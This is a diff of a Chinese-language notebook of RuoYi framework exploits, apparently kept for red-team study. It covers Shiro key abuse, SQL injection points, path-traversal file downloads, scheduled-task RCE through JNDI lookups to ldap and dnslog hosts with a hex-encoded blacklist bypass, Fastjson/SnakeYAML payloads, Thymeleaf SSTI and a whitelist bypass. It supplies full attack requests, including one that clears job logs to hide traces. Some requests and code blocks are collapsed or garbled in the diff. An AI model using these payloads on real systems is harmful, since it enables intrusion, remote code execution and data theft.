border-box;padding: 6px 13px;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">4.6.1-4.3.1</span></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">zSyK5Kp6PZAAjlT+eeNMlg==</span></section></td></tr><tr style="box-sizing: border-box;background-color: rgb(246, 248, 250);border-top: 0.606061px solid rgb(216, 222, 228);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">3.4-及以下</span></section></td><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(208, 215, 222);border-style: solid;border-width: 0.606061px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">fCq+/xW488hMTCD+cmJ3aQ==</span></section></td></tr></tbody></table>
|
||||
- RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。
|
||||
@ -106,17 +95,14 @@ https://github.com/SummerSec/ShiroAttack2
|
||||
### 注入点1 /role/list接口 (<V-4.6.2)
|
||||
|
||||
版本同上4.5.1
|
||||
首先从源码分析一波
|
||||
Mybatis配置一般用#{},类似PreparedStatement的占位符效果,可以防止SQL注入。RuoYi则是采用了${}造成了SQL注入
|
||||
|
||||

|
||||

|
||||
首先从源码分析一波
|
||||
|
||||
Mybatis配置一般用#{},类似PreparedStatement的占位符效果,可以防止SQL注入。RuoYi则是采用了${}造成了SQL注入
|
||||
|
||||
跳转
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
解释一下 ${params.dataScope}
|
||||
|
||||
${params.dataScope}
|
||||
@ -133,40 +119,34 @@ dataScope的值可以是一个根据用户角色动态生成的SQL片段,如
|
||||
|
||||
进入mapper层
|
||||
|
||||

|
||||

|
||||
|
||||
跳转到上级
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
进入role查看信息
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
查看功能
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
params
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
根据路径
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
执行代码
|
||||
```
|
||||
¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))
|
||||
```
|
||||
|
||||

|
||||

|
||||
### 注入点2 /role/export (<V-4.6.2)
|
||||
### 注入点3 /user/list (<V-4.6.2)
|
||||
### 注入点4 /user/list (<V-4.6.2)
|
||||
@ -180,6 +160,7 @@ DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(
|
||||
### 注入点9 /tool/gen/createTable(V-4.7.1-V-4.7.5)
|
||||
|
||||
参考
|
||||
|
||||
https://blog.takake.com/posts/7219/#2-3-10-%E6%80%BB%E7%BB%93
|
||||
# 0x04 CNVD-2021-01931任意文件下载
|
||||
#### 漏洞简介
|
||||
@ -191,17 +172,18 @@ RuoYi<4.5.1
|
||||
#### 漏洞复现
|
||||
|
||||
用4.5.0版本
|
||||
|
||||
直接搜索关键字,download找到具体的controller
|
||||
|
||||
路径
|
||||
```
|
||||
/common/download/resource
|
||||
```
|
||||
```
|
||||
/common/download/resource?resource=/profile/../../../../etc/passwd
|
||||
/common/download/resource?resource=/profile/../../../../Windows/win.ini
|
||||
/common/download/resource?resource=/profile/../../../../etc/passwd/common/download/resource?resource=/profile/../../../../Windows/win.ini
|
||||
```
|
||||
|
||||

|
||||

|
||||
# 0x05 CVE-2023-27025 若依任意文件下载
|
||||
## 漏洞简介
|
||||
|
||||
@ -228,11 +210,7 @@ RuoYi<4.5.1
|
||||
## 漏洞复现
|
||||
#### 添加任务绕过白名单(自定义下载文件路径)
|
||||
```
|
||||
POST /monitor/job/add HTTP/1.1
|
||||
Host: 10.40.107.67
|
||||
Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
|
||||
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: application/x-www-form-urlencodedContent-Length: 214Connection: closecreateBy=admin&jobId=161&jobName=test111&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('/Users/apple/Desktop/Locks/javafx.txt')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
|
||||
POST /monitor/job/add HTTP/1.1Host: 10.40.107.67Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: application/x-www-form-urlencodedContent-Length: 214Connection: closecreateBy=admin&jobId=161&jobName=test111&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('/Users/apple/Desktop/Locks/javafx.txt')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
|
||||
```
|
||||
- 通过调用 ruoYiConfig.setProfile()
|
||||
方法,将系统配置文件路径动态修改为攻击者指定的路径(如 /Users/apple/Desktop/Locks/javafx.txt
|
||||
@ -242,11 +220,7 @@ Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: applic
|
||||
|
||||
#### 执行定时任务(触发配置修改)
|
||||
```
|
||||
POST /monitor/job/run HTTP/1.1
|
||||
Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
|
||||
Host: 10.40.107.67
|
||||
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: application/x-www-form-urlencodedContent-Length: 9Connection: closejobId=117
|
||||
POST /monitor/job/run HTTP/1.1Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 10.40.107.67Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: application/x-www-form-urlencodedContent-Length: 9Connection: closejobId=117
|
||||
```
|
||||
- 立即执行 jobId=117
|
||||
对应的定时任务,触发 ruoYiConfig.setProfile()
|
||||
@ -256,11 +230,7 @@ Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: applic
|
||||
|
||||
#### 清理任务日志(擦除攻击痕迹)
|
||||
```
|
||||
POST /monitor/jobLog/clean HTTP/1.1
|
||||
Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
|
||||
Host: 10.40.107.67
|
||||
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: application/x-www-form-urlencodedContent-Length: 0Connection: close
|
||||
POST /monitor/jobLog/clean HTTP/1.1Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 10.40.107.67Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: application/x-www-form-urlencodedContent-Length: 0Connection: close
|
||||
```
|
||||
- 删除任务执行日志,避免管理员发现恶意任务记录。
|
||||
|
||||
@ -268,11 +238,7 @@ Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-type: applic
|
||||
|
||||
#### 触发任意文件下载
|
||||
```
|
||||
GET /common/download/resource?resource=2.txt HTTP/1.1
|
||||
Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1b
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
|
||||
Host: 10.40.107.67
|
||||
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: close
|
||||
GET /common/download/resource?resource=2.txt HTTP/1.1Cookie: _tea_utm_cache_10000007=undefined; java-chains-token-key=admin_token; JSESSIONID=7c625b5d-cd39-49fd-87db-bbb64c596c1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 10.40.107.67Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: close
|
||||
```
|
||||
- 下载功能仅校验“配置文件中的路径”,未对动态修改后的路径进行二次白名单校验。
|
||||
|
||||
@ -335,70 +301,75 @@ v4.7.8
|
||||
|
||||
使用phpstudy启动mysql
|
||||
|
||||

|
||||

|
||||
|
||||
创建数据库ry
|
||||
|
||||
导入sql到ry数据库中
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
将ruoyi-admin下的application-druid.yml文件配置数据库账号密码
|
||||
|
||||

|
||||

|
||||
|
||||
启动成功
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
若依漏洞复现环境搭建成功
|
||||
```
|
||||
admin
|
||||
admin123
|
||||
adminadmin123
|
||||
```
|
||||
|
||||

|
||||

|
||||
## 0x05 漏洞复现
|
||||
|
||||
系统监控下定时任务中存在SQL注入漏洞
|
||||
|
||||

|
||||

|
||||
|
||||
在补丁中,使用了黑名单和白名单的策略。
|
||||
|
||||

|
||||

|
||||
|
||||
SQL注入漏洞点
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
开始复现
|
||||
|
||||
RCE payload
|
||||
|
||||
JNDI
|
||||
```
|
||||
javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson')
|
||||
```
|
||||
|
||||
payload中可以执行反弹shell、漏洞探测、命令执行功能
|
||||
|
||||
DNSLOG
|
||||
```
|
||||
javax.naming.InitialContext.lookup('ldap://dnslog')
|
||||
```
|
||||
|
||||
目标字符串不允许'ldap(s)'调用且不能存在括号,因此我们使用SQL注入加十六进制编码来进行绕过修改
|
||||
|
||||
https://www.bejson.com/convert/ox2str/
|
||||
|
||||

|
||||

|
||||
```
|
||||
6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729
|
||||
```
|
||||
|
||||
第一步:运行此命令
|
||||
|
||||
成功地绕过了它,并成功地执行
|
||||
```
|
||||
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1ue' WHERE job_id = 1;')
|
||||
@ -409,15 +380,16 @@ genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1u
|
||||
* * * * * ?
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
第二步:
|
||||
|
||||
修改执行命令
|
||||
```
|
||||
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'Hack By 1ue' WHERE job_id = 1;')
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
第三步:
|
||||
```
|
||||
@ -426,40 +398,45 @@ genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a61766178
|
||||
|
||||
创建任务
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
执行一次
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
执行被修改的任务之前需要开启JNDI
|
||||
|
||||
需要下载cckuailong师傅的JNDI-Injection-Exploit-Plus项目(https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases/tag/2.3)。
|
||||
|
||||
jdk版本要求1.8
|
||||
```
|
||||
java -jar '.\JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar' -C calc -A 127.0.0.1
|
||||
```
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
执行被修改的1任务
|
||||
|
||||
JNDI
|
||||
```
|
||||
javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialJackson')
|
||||
```
|
||||
|
||||
payload中可以执行反弹shell、漏洞探测、命令执行功能
|
||||
|
||||
DNSLOG
|
||||
```
|
||||
javax.naming.InitialContext.lookup('ldap://dnslog')
|
||||
```
|
||||
|
||||
目标字符串不允许'ldap(s)'调用且不能存在括号,因此我们使用SQL注入加十六进制编码来进行绕过修改
|
||||
|
||||
https://www.bejson.com/convert/ox2str/
|
||||
|
||||

|
||||

|
||||
```
|
||||
0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7263793870732e646e736c6f672e636e2729
|
||||
```
|
||||
@ -467,27 +444,28 @@ https://www.bejson.com/convert/ox2str/
|
||||
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3132372e302e302e313a313338392f646573657269616c4a61636b736f6e2729 WHERE job_id = 1;')
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||
我们再来试试dnslog
|
||||
```
|
||||
javax.naming.InitialContext.lookup('ldap://rcy8ps.dnslog.cn')
|
||||
```
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
工具使用:
|
||||
|
||||
https://github.com/charonlight/RuoYiExploitGUI
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
## 0x06 修复方式
|
||||
|
||||
1、升级版本。
|
||||
@ -510,12 +488,12 @@ org.yaml.snakeyaml.Yaml.load(’!!javax.script.ScriptEngineManager [!!java.net.U
|
||||
|
||||
关注两个函数 parse 和 parseObject JSONObject.parse
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
开启 autotype
|
||||
```
|
||||
@ -531,18 +509,13 @@ params[@type]=org.apache.shiro.jndi.JndiObjectFactory¶ms[resourceName]=ldap:
|
||||
|
||||
最终简化后的数据包如下
|
||||
```
|
||||
POST /tool/gen/edit HTTP/1.1
|
||||
Host: 172.16.0.66
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
|
||||
Referer: http://172.16.0.66/tool/gen/edit/6
|
||||
Cookie: JSESSIONID=c229803b-e147-4853-ae79-df7e04dcd338
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://172.16.0.66Accept-Language: zh-CN,zh;q=0.9Content-Length: 3610tableName=111111&tableComment=111111&className=111111&functionAuthor=111111&&columns[0].javaType=Long&columns[0].javaField=infoId&&tplCategory=tree&treeCode=111111&treeParentCode=111111&packageName=111111&moduleName=111111&businessName=111111&functionName=111111¶ms[treeCode]=111111¶ms[treeParentCode]=1¶ms[treeName]={"@type":"java.net.Inet4Address","val":"11.hb4r0s.dnslog.cn"}
|
||||
POST /tool/gen/edit HTTP/1.1Host: 172.16.0.66User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Referer: http://172.16.0.66/tool/gen/edit/6Cookie: JSESSIONID=c229803b-e147-4853-ae79-df7e04dcd338X-Requested-With: XMLHttpRequestAccept: application/json, text/javascript, */*; q=0.01Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://172.16.0.66Accept-Language: zh-CN,zh;q=0.9Content-Length: 3610tableName=111111&tableComment=111111&className=111111&functionAuthor=111111&&columns[0].javaType=Long&columns[0].javaField=infoId&&tplCategory=tree&treeCode=111111&treeParentCode=111111&packageName=111111&moduleName=111111&businessName=111111&functionName=111111¶ms[treeCode]=111111¶ms[treeParentCode]=1¶ms[treeName]={"@type":"java.net.Inet4Address","val":"11.hb4r0s.dnslog.cn"}
|
||||
```
|
||||
# 0x08 SSTI模版注入漏洞
|
||||
#### 漏洞版本
|
||||
|
||||
在4.7.1版本CacheController类中
|
||||
|
||||
![[../S24-25赛季-大黑客之路/红队知识学习/assets/Y10 若依ruoyi/file-20250416135654610.png]]
|
||||
#### 漏洞复现
|
||||
|
||||
@ -560,6 +533,7 @@ ${T(java.lang.Runtime).getRuntime().exec("touch test")}::.x
|
||||
|
||||
测试上述payload发现返回包返回500,具体情况是Thymeleaf3.0.12
|
||||
版本对这个版本进行了一些先知,防止模板注入漏洞,https://github.com/thymeleaf/thymeleaf/issues/809
|
||||
|
||||
以下为防护的情况:
|
||||
|
||||
我们将Payload改造一下,如${T (java.lang.Runtime).getRuntime().exec("calc.exe")}
|
||||
@ -569,9 +543,7 @@ ${T(java.lang.Runtime).getRuntime().exec("touch test")}::.x
|
||||
直接贴出来了,大家测试的时候记得进行URL
|
||||
编码。
|
||||
```
|
||||
POST /monitor/cache/getNames HTTP/1.1
|
||||
|
||||
fragment=__${T%20(java.lang.Runtime).getRuntime().exec('open -a calculator')}__::.x
|
||||
POST /monitor/cache/getNames HTTP/1.1fragment=__${T%20(java.lang.Runtime).getRuntime().exec('open -a calculator')}__::.x
|
||||
```
|
||||
```
|
||||
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}
|
||||
@ -588,14 +560,14 @@ https://github.com/yangzongzhuan/RuoYi/releases
|
||||
|
||||
修改application中的文件路径及log存放路径
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
启动成功
|
||||
|
||||

|
||||

|
||||
## 漏洞分析
|
||||
|
||||
最新版本4.8 Ruoyi 后台⽬前限制
|
||||
@ -620,17 +592,11 @@ https://github.com/yangzongzhuan/RuoYi/releases
|
||||
:
|
||||
|
||||
```
|
||||
/** * 定时任务白名单配置(仅允许访问的包名,如其他需要可以自行添加) */
|
||||
publicstaticfinalString[] JOB_WHITELIST_STR = { "com.ruoyi.quartz.task" };
|
||||
|
||||
/** * 定时任务违规的字符 */
|
||||
publicstaticfinalString[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml",
|
||||
"org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config", "com.ruoyi.generator" };
|
||||
}
|
||||
/** * 定时任务白名单配置(仅允许访问的包名,如其他需要可以自行添加) */publicstaticfinalString[] JOB_WHITELIST_STR = { "com.ruoyi.quartz.task" }; /** * 定时任务违规的字符 */publicstaticfinalString[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config", "com.ruoyi.generator" }; }
|
||||
```
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
JOB_WHITELIST_STR 这个也就是com.ruoyi.quartz.task 其实不⽤类名 包含在⾃符串⾥⾯就⾏ 这⾥是invokeTarget⽽不是beanPackageName
|
||||
- **规则**
|
||||
@ -650,24 +616,11 @@ JOB_WHITELIST_STR 这个也就是com.ruoyi.quartz.task 其实不⽤类名 包含
|
||||
- **绕过思路**
|
||||
:
|
||||
|
||||

|
||||

|
||||
|
||||
**白名单检查(whiteList 方法)**
|
||||
```
|
||||
publicstaticboolean whiteList(String invokeTarget)
|
||||
{
|
||||
String packageName = StringUtils.substringBefore(invokeTarget, "(");
|
||||
int count = StringUtils.countMatches(packageName, ".");
|
||||
if (count > 1)
|
||||
{
|
||||
return StringUtils.containsAnyIgnoreCase(invokeTarget, Constants.JOB_WHITELIST_STR);
|
||||
}
|
||||
Object obj = SpringUtils.getBean(StringUtils.split(invokeTarget, ".")[0]);
|
||||
String beanPackageName = obj.getClass().getPackage().getName();
|
||||
return StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_WHITELIST_STR)
|
||||
&& !StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_ERROR_STR);
|
||||
}
|
||||
}
|
||||
publicstaticboolean whiteList(String invokeTarget) { String packageName = StringUtils.substringBefore(invokeTarget, "("); int count = StringUtils.countMatches(packageName, "."); if (count > 1) { return StringUtils.containsAnyIgnoreCase(invokeTarget, Constants.JOB_WHITELIST_STR); } Object obj = SpringUtils.getBean(StringUtils.split(invokeTarget, ".")[0]); String beanPackageName = obj.getClass().getPackage().getName(); return StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_WHITELIST_STR) && !StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_ERROR_STR); } }
|
||||
```
|
||||
- **漏洞点**
|
||||
:当 invokeTarget
|
||||
@ -676,168 +629,101 @@ return StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_WHITELI
|
||||
|
||||
然后不⽤JOB_ERROR_STR 这个类⾥⾯的 从mvn install 后 从其他包下⾯去寻找可利⽤的类下的⽅法就⾏
|
||||
|
||||
需要满⾜以下条件**方法参数解析(getMethodParams)**
|
||||
需要满⾜以下条件
|
||||
**方法参数解析(getMethodParams)**
|
||||
|
||||

|
||||

|
||||
```
|
||||
publicstaticList<Object[]> getMethodParams(String invokeTarget)
|
||||
{
|
||||
String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")");
|
||||
if (StringUtils.isEmpty(methodStr))
|
||||
{
|
||||
returnnull;
|
||||
}
|
||||
String[] methodParams = methodStr.split(",(?=([^\"']*[\"'][^\"']*[\"'])*[^\"']*$)");
|
||||
List<Object[]> classs = new LinkedList<>();
|
||||
for (int i = 0; i < methodParams.length; i++)
|
||||
{
|
||||
String str = StringUtils.trimToEmpty(methodParams[i]);
|
||||
// String字符串类型,以'或"开头
|
||||
if (StringUtils.startsWithAny(str, "'", "\""))
|
||||
{
|
||||
classs.add(newObject[] { StringUtils.substring(str, 1, str.length() - 1), String.class });
|
||||
}
|
||||
// boolean布尔类型,等于true或者false
|
||||
elseif ("true".equalsIgnoreCase(str) || "false".equalsIgnoreCase(str))
|
||||
{
|
||||
classs.add(newObject[] { Boolean.valueOf(str), Boolean.class });
|
||||
}
|
||||
// long长整形,以L结尾
|
||||
elseif (StringUtils.endsWith(str, "L"))
|
||||
{ classs.add(newObject[] { Long.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Long.class });
|
||||
}
|
||||
// double浮点类型,以D结尾
|
||||
elseif (StringUtils.endsWith(str, "D"))
|
||||
{
|
||||
classs.add(newObject[] { Double.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Double.class });
|
||||
}
|
||||
// 其他类型归类为整形
|
||||
else
|
||||
{
|
||||
classs.add(newObject[] { Integer.valueOf(str), Integer.class });
|
||||
}
|
||||
}
|
||||
return classs;
|
||||
}
|
||||
publicstaticList<Object[]> getMethodParams(String invokeTarget) { String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")"); if (StringUtils.isEmpty(methodStr)) { returnnull; } String[] methodParams = methodStr.split(",(?=([^\"']*[\"'][^\"']*[\"'])*[^\"']*$)"); List<Object[]> classs = new LinkedList<>(); for (int i = 0; i < methodParams.length; i++) { String str = StringUtils.trimToEmpty(methodParams[i]); // String字符串类型,以'或"开头 if (StringUtils.startsWithAny(str, "'", "\"")) { classs.add(newObject[] { StringUtils.substring(str, 1, str.length() - 1), String.class }); } // boolean布尔类型,等于true或者false elseif ("true".equalsIgnoreCase(str) || "false".equalsIgnoreCase(str)) { classs.add(newObject[] { Boolean.valueOf(str), Boolean.class }); } // long长整形,以L结尾 elseif (StringUtils.endsWith(str, "L")) { classs.add(newObject[] { Long.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Long.class }); } // double浮点类型,以D结尾 elseif (StringUtils.endsWith(str, "D")) { classs.add(newObject[] { Double.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Double.class }); } // 其他类型归类为整形 else { classs.add(newObject[] { Integer.valueOf(str), Integer.class }); } } return classs; }
|
||||
```
|
||||
- **限制**
|
||||
:参数类型被强制约束为基本类型,无法传递复杂对象。
|
||||
|
||||

|
||||

|
||||
```
|
||||
/** * 执行方法 * * @param sysJob 系统任务 */
|
||||
publicstaticvoid invokeMethod(SysJob sysJob) throws Exception
|
||||
{
|
||||
String invokeTarget = sysJob.getInvokeTarget();
|
||||
String beanName = getBeanName(invokeTarget);
|
||||
String methodName = getMethodName(invokeTarget);
|
||||
List<Object[]> methodParams = getMethodParams(invokeTarget);
|
||||
|
||||
if (!isValidClassName(beanName))
|
||||
{
|
||||
Object bean = SpringUtils.getBean(beanName);
|
||||
invokeMethod(bean, methodName, methodParams);
|
||||
}
|
||||
else
|
||||
{
|
||||
Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
|
||||
invokeMethod(bean, methodName, methodParams);
|
||||
}
|
||||
}
|
||||
/** * 执行方法 * * @param sysJob 系统任务 */publicstaticvoid invokeMethod(SysJob sysJob) throws Exception{ String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance(); invokeMethod(bean, methodName, methodParams); } }
|
||||
```
|
||||
|
||||
传递的参数只能是其中的这些类型 通过 , 进⾏分割。substringBetween获取的是() ⾥⾯ 不能继续包含 )了会截断
|
||||
|
||||

|
||||

|
||||
```
|
||||
publicstaticString substringBetween(finalString str, finalString open, finalString close) {
|
||||
if (!ObjectUtils.allNotNull(str, open, close)) {
|
||||
returnnull;
|
||||
}
|
||||
finalint start = str.indexOf(open);
|
||||
if (start != INDEX_NOT_FOUND) {
|
||||
finalint end = str.indexOf(close, start + open.length());
|
||||
if (end != INDEX_NOT_FOUND) {
|
||||
return str.substring(start + open.length(), end);
|
||||
}
|
||||
}
|
||||
returnnull;
|
||||
}
|
||||
publicstaticString substringBetween(finalString str, finalString open, finalString close) { if (!ObjectUtils.allNotNull(str, open, close)) { returnnull; } finalint start = str.indexOf(open); if (start != INDEX_NOT_FOUND) { finalint end = str.indexOf(close, start + open.length()); if (end != INDEX_NOT_FOUND) { return str.substring(start + open.length(), end); } } returnnull; }
|
||||
```
|
||||
|
||||
那我们可以直接去找String 可控到sink 的类就可以了。
|
||||
|
||||
这⾥反射的时候还需要注意 需要满⾜ 存在⼀个参构造 且都是public的
|
||||
|
||||

|
||||

|
||||
```
|
||||
Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
|
||||
```
|
||||
#### 计划任务分析
|
||||
|
||||

|
||||

|
||||
|
||||
根据提交数据包锁定后端路由
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
调试看一下具体做了什么
|
||||
|
||||
前几个都是在判断是否有包含rmi ldap http关键词,禁止对这些协议进行调用
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
还判断了是否有一些黑名单中的类
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
进入白名单的判断
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
提取出调用的类名,判断其中是否包含白名单字符串
|
||||
|
||||

|
||||

|
||||
|
||||
白名单字符串为com.ruoyi.quartz.task
|
||||
|
||||

|
||||

|
||||
|
||||
注意这里是用正则去匹配的,所以该字符串在任意位置都可以,所以存在可以绕过的可能
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
后续就会进入正常的j保存计划任务流程
|
||||
|
||||

|
||||

|
||||

|
||||
|
||||
|
||||
当启动任务时,会调用方法
|
||||
|
||||

|
||||

|
||||
|
||||
获取需要调用的类名方法名参数值
|
||||
|
||||

|
||||

|
||||
|
||||
在获取方法参数时进行了处理,只允许为字符串/布尔/长整/浮点/整形,无法传递类对象
|
||||
|
||||

|
||||

|
||||
|
||||
接着会实例化该类,反射调用其方法
|
||||
|
||||

|
||||

|
||||
|
||||
该方法为public修饰
|
||||
|
||||

|
||||

|
||||
|
||||
我们想要利用需要达成的是
|
||||
- 使用的类不在黑名单中
|
||||
@ -850,57 +736,49 @@ Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance();
|
||||
|
||||
而在ruoyi中存在一个文件上传点
|
||||
|
||||

|
||||

|
||||
|
||||
我们可以随便上传一个文件看看
|
||||
|
||||

|
||||

|
||||
|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
那么我们可以上传一个名字包含com.ruoyi.quartz.task字符串的文件
|
||||
|
||||

|
||||

|
||||
## 漏洞复现
|
||||
|
||||
